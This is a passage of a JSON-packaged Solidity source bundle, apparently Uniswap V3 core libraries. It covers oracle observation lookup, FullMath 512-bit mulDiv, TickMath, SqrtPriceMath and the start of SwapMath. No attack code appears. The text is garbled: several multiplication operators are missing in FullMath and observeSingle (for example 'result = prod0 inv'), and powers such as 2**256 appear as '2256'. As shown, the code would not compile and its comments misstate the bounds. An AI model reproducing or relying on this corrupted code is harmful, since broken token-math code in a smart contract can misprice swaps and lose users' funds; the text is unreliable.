bAdjusted = b > time ? b : b + 232;\n\n return aAdjusted <= bAdjusted;\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a target, i.e. where [beforeOrAt, atOrAfter] is satisfied.\n /// The result may be the same observation, or adjacent observations.\n /// @dev The answer must be contained in the array, used when the target is located within the stored observation\n /// boundaries: older than the most recent observation and younger, or the same age as, the oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation recorded before, or at, the target\n /// @return atOrAfter The observation recorded at, or after, the target\n function binarySearch(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n uint16 index,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n uint256 l = (index + 1) % cardinality; // oldest observation\n uint256 r = l + cardinality - 1; // newest observation\n uint256 i;\n while (true) {\n i = (l + r) / 2;\n\n beforeOrAt = self[i % cardinality];\n\n // we've landed on an uninitialized tick, keep searching higher (more recently)\n if (!beforeOrAt.initialized) {\n l = i + 1;\n continue;\n }\n\n atOrAfter = self[(i + 1) % cardinality];\n\n bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);\n\n // check if we've found the answer!\n if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;\n\n if (!targetAtOrAfter) r = i - 1;\n else l = i + 1;\n }\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a given target, i.e. where [beforeOrAt, atOrAfter] is satisfied\n /// @dev Assumes there is at least 1 initialized observation.\n /// Used by observeSingle() to compute the counterfactual accumulator values as of a given block timestamp.\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param tick The active tick at the time of the returned or simulated observation\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The total pool liquidity at the time of the call\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation which occurred at, or before, the given timestamp\n /// @return atOrAfter The observation which occurred at, or after, the given timestamp\n function getSurroundingObservations(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n // optimistically set before to the newest observation\n beforeOrAt = self[index];\n\n // if the target is chronologically at or after the newest observation, we can early return\n if (lte(time, beforeOrAt.blockTimestamp, target)) {\n if (beforeOrAt.blockTimestamp == target) {\n // if newest observation equals target, we're in the same block, so we can ignore atOrAfter\n return (beforeOrAt, atOrAfter);\n } else {\n // otherwise, we need to transform\n return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));\n }\n }\n\n // now, set before to the oldest observation\n beforeOrAt = self[(index + 1) % cardinality];\n if (!beforeOrAt.initialized) beforeOrAt = self[0];\n\n // ensure that the target is chronologically at or after the oldest observation\n require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');\n\n // if we've reached this point, we have to binary search\n return binarySearch(self, time, target, index, cardinality);\n }\n\n /// @dev Reverts if an observation at or before the desired observation timestamp does not exist.\n /// 0 may be passed as `secondsAgo' to return the current cumulative values.\n /// If called with a timestamp falling between two observations, returns the counterfactual accumulator values\n /// at exactly the timestamp between the two observations.\n /// @param self The stored oracle array\n /// @param time The current block timestamp\n /// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`\n function observeSingle(\n Observation[65535] storage self,\n uint32 time,\n uint32 secondsAgo,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {\n if (secondsAgo == 0) {\n Observation memory last = self[index];\n if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);\n return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);\n }\n\n uint32 target = time - secondsAgo;\n\n (Observation memory beforeOrAt, Observation memory atOrAfter) =\n getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);\n\n if (target == beforeOrAt.blockTimestamp) {\n // we're at the left boundary\n return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);\n } else if (target == atOrAfter.blockTimestamp) {\n // we're at the right boundary\n return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);\n } else {\n // we're in the middle\n uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;\n uint32 targetDelta = target - beforeOrAt.blockTimestamp;\n return (\n beforeOrAt.tickCumulative +\n ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) \n targetDelta,\n beforeOrAt.secondsPerLiquidityCumulativeX128 +\n uint160(\n (uint256(\n atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128\n ) targetDelta) / observationTimeDelta\n )\n );\n }\n }\n\n /// @notice Returns the accumulator values as of each time seconds ago from the given time in the array of `secondsAgos`\n /// @dev Reverts if `secondsAgos` > oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param secondsAgos Each amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulatives The tick * time elapsed since the pool was first initialized, as of each `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128s The cumulative seconds / max(1, liquidity) since the pool was first initialized, as of each `secondsAgo`\n function observe(\n Observation[65535] storage self,\n uint32 time,\n uint32[] memory secondsAgos,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {\n require(cardinality > 0, 'I');\n\n tickCumulatives = new int56[](secondsAgos.length);\n secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);\n for (uint256 i = 0; i < secondsAgos.length; i++) {\n (tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(\n self,\n time,\n secondsAgos[i],\n tick,\n index,\n liquidity,\n cardinality\n );\n }\n }\n}\n" }, "contracts/libraries/FullMath.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.4.0;\n\n/// @title Contains 512-bit math functions\n/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision\n/// @dev Handles \"phantom overflow\" i.e., allows multiplication and division where an intermediate value overflows 256 bits\nlibrary FullMath {\n /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv\n function mulDiv(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n // 512-bit multiply [prod1 prod0] = a * b\n // Compute the product mod 2256 and mod 2256 - 1\n // then use the Chinese Remainder Theorem to reconstruct\n // the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2256 + prod0\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(a, b, not(0))\n prod0 := mul(a, b)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division\n if (prod1 == 0) {\n require(denominator > 0);\n assembly {\n result := div(prod0, denominator)\n }\n return result;\n }\n\n // Make sure the result is less than 2256.\n // Also prevents denominator == 0\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0]\n // Compute remainder using mulmod\n uint256 remainder;\n assembly {\n remainder := mulmod(a, b, denominator)\n }\n // Subtract 256 bit number from 512 bit number\n assembly {\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator\n // Compute largest power of two divisor of denominator.\n // Always >= 1.\n uint256 twos = -denominator & denominator;\n // Divide denominator by power of two\n assembly {\n denominator := div(denominator, twos)\n }\n\n // Divide [prod1 prod0] by the factors of two\n assembly {\n prod0 := div(prod0, twos)\n }\n // Shift in bits from prod1 into prod0. For this we need\n // to flip `twos` such that it is 2*256 / twos.\n // If twos is zero, then it becomes one\n assembly {\n twos := add(div(sub(0, twos), twos), 1)\n }\n prod0 \|= prod1 twos;\n\n // Invert denominator mod 2256\n // Now that denominator is an odd number, it has an inverse\n // modulo 2256 such that denominator * inv = 1 mod 2*256.\n // Compute the inverse by starting with a seed that is correct\n // correct for four bits. That is, denominator inv = 1 mod 2*4\n uint256 inv = (3 denominator) ^ 2;\n // Now use Newton-Raphson iteration to improve the precision.\n // Thanks to Hensel's lifting lemma, this also works in modular\n // arithmetic, doubling the correct bits in each step.\n inv = 2 - denominator inv; // inverse mod 2*8\n inv = 2 - denominator * inv; // inverse mod 2*16\n inv = 2 - denominator * inv; // inverse mod 2*32\n inv = 2 - denominator * inv; // inverse mod 2*64\n inv = 2 - denominator * inv; // inverse mod 2*128\n inv = 2 - denominator * inv; // inverse mod 2256\n\n // Because the division is now exact we can divide by multiplying\n // with the modular inverse of denominator. This will give us the\n // correct result modulo 2256. Since the precoditions guarantee\n // that the outcome is less than 2*256, this is the final result.\n // We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 inv;\n return result;\n }\n\n /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n result = mulDiv(a, b, denominator);\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n }\n}\n" }, "contracts/libraries/FixedPoint128.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint128\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\nlibrary FixedPoint128 {\n uint256 internal constant Q128 = 0x100000000000000000000000000000000;\n}\n" }, "contracts/libraries/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.6.0;\n\nimport '../interfaces/IERC20Minimal.sol';\n\n/// @title TransferHelper\n/// @notice Contains helper methods for interacting with ERC20 tokens that do not consistently return true/false\nlibrary TransferHelper {\n /// @notice Transfers tokens from msg.sender to a recipient\n /// @dev Calls transfer on token contract, errors with TF if transfer fails\n /// @param token The contract address of the token which will be transferred\n /// @param to The recipient of the transfer\n /// @param value The value of the transfer\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) =\n token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));\n require(success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TF');\n }\n}\n" }, "contracts/libraries/TickMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for computing sqrt prices from ticks and vice versa\n/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports\n/// prices between 2-128 and 2128\nlibrary TickMath {\n /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2-128\n int24 internal constant MIN_TICK = -887272;\n /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2128\n int24 internal constant MAX_TICK = -MIN_TICK;\n\n /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n /// @notice Calculates sqrt(1.0001^tick) * 2^96\n /// @dev Throws if \|tick\| > max tick\n /// @param tick The input tick for the above formula\n /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)\n /// at the given tick\n function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {\n uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));\n require(absTick <= uint256(MAX_TICK), 'T');\n\n uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;\n if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;\n if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;\n if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;\n if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;\n if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;\n if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;\n if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;\n if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;\n if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;\n if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;\n if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;\n if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;\n if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;\n if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;\n if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;\n if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;\n if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;\n if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;\n if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;\n\n if (tick > 0) ratio = type(uint256).max / ratio;\n\n // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.\n // we then downcast because we know the result always fits within 160 bits due to our tick input constraint\n // we round up in the division so getTickAtSqrtRatio of the output price is always consistent\n sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));\n }\n\n /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio\n /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may\n /// ever return.\n /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96\n /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio\n function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');\n uint256 ratio = uint256(sqrtPriceX96) << 32;\n\n uint256 r = ratio;\n uint256 msb = 0;\n\n assembly {\n let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(5, gt(r, 0xFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(4, gt(r, 0xFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(3, gt(r, 0xFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(2, gt(r, 0xF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(1, gt(r, 0x3))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := gt(r, 0x1)\n msb := or(msb, f)\n }\n\n if (msb >= 128) r = ratio >> (msb - 127);\n else r = ratio << (127 - msb);\n\n int256 log_2 = (int256(msb) - 128) << 64;\n\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(63, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(62, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(61, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(60, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(59, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(58, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(57, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(56, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(55, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(54, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(53, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(52, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(51, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(50, f))\n }\n\n int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number\n\n int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);\n int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);\n\n tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;\n }\n}\n" }, "contracts/libraries/LiquidityMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for liquidity\nlibrary LiquidityMath {\n /// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows\n /// @param x The liquidity before change\n /// @param y The delta by which liquidity should be changed\n /// @return z The liquidity delta\n function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) {\n if (y < 0) {\n require((z = x - uint128(-y)) < x, 'LS');\n } else {\n require((z = x + uint128(y)) >= x, 'LA');\n }\n }\n}\n" }, "contracts/libraries/SqrtPriceMath.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './FullMath.sol';\nimport './UnsafeMath.sol';\nimport './FixedPoint96.sol';\n\n/// @title Functions based on Q64.96 sqrt price and liquidity\n/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas\nlibrary SqrtPriceMath {\n using LowGasSafeMath for uint256;\n using SafeCast for uint256;\n\n /// @notice Gets the next sqrt price given a delta of token0\n /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the\n /// price less in order to not send too much output.\n /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),\n /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).\n /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token0 to add or remove from virtual reserves\n /// @param add Whether to add or remove the amount of token0\n /// @return The price after adding or removing amount, depending on add\n function getNextSqrtPriceFromAmount0RoundingUp(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price\n if (amount == 0) return sqrtPX96;\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n\n if (add) {\n uint256 product;\n if ((product = amount * sqrtPX96) / amount == sqrtPX96) {\n uint256 denominator = numerator1 + product;\n if (denominator >= numerator1)\n // always fits in 160 bits\n return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));\n }\n\n return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));\n } else {\n uint256 product;\n // if the product overflows, we know the denominator underflows\n // in addition, we must check that the denominator does not underflow\n require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);\n uint256 denominator = numerator1 - product;\n return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();\n }\n }\n\n /// @notice Gets the next sqrt price given a delta of token1\n /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the\n /// price less in order to not send too much output.\n /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity\n /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token1 to add, or remove, from virtual reserves\n /// @param add Whether to add, or remove, the amount of token1\n /// @return The price after adding or removing `amount`\n function getNextSqrtPriceFromAmount1RoundingDown(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // if we're adding (subtracting), rounding down requires rounding the quotient down (up)\n // in both cases, avoid a mulDiv for most inputs\n if (add) {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? (amount << FixedPoint96.RESOLUTION) / liquidity\n : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)\n );\n\n return uint256(sqrtPX96).add(quotient).toUint160();\n } else {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)\n : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)\n );\n\n require(sqrtPX96 > quotient);\n // always fits 160 bits\n return uint160(sqrtPX96 - quotient);\n }\n }\n\n /// @notice Gets the next sqrt price given an input amount of token0 or token1\n /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds\n /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountIn How much of token0, or token1, is being swapped in\n /// @param zeroForOne Whether the amount in is token0 or token1\n /// @return sqrtQX96 The price after adding the input amount to token0 or token1\n function getNextSqrtPriceFromInput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountIn,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we don't pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)\n : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);\n }\n\n /// @notice Gets the next sqrt price given an output amount of token0 or token1\n /// @dev Throws if price or liquidity are 0 or the next price is out of bounds\n /// @param sqrtPX96 The starting price before accounting for the output amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountOut How much of token0, or token1, is being swapped out\n /// @param zeroForOne Whether the amount out is token0 or token1\n /// @return sqrtQX96 The price after removing the output amount of token0 or token1\n function getNextSqrtPriceFromOutput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountOut,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)\n : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);\n }\n\n /// @notice Gets the amount0 delta between two prices\n /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),\n /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up or down\n /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;\n\n require(sqrtRatioAX96 > 0);\n\n return\n roundUp\n ? UnsafeMath.divRoundingUp(\n FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),\n sqrtRatioAX96\n )\n : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;\n }\n\n /// @notice Gets the amount1 delta between two prices\n /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up, or down\n /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount1) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n return\n roundUp\n ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)\n : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);\n }\n\n /// @notice Helper that gets signed token0 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount0 delta\n /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount0) {\n return\n liquidity < 0\n ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n\n /// @notice Helper that gets signed token1 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount1 delta\n /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount1) {\n return\n liquidity < 0\n ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n}\n" }, "contracts/libraries/SwapMath.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './SqrtPriceMath.sol';\n\n/// @title Computes the result of a swap within ticks\n/// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick.\nlibrary SwapMath {\n /// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap\n /// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive\n /// @param sqrtRatioCurrentX96 The current sqrt price of the pool\n /// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred\n /// @param liquidity The usable liquidity\n /// @param amountRemaining How much input or output amount is remaining to be swapped in/out\n /// @param feePips 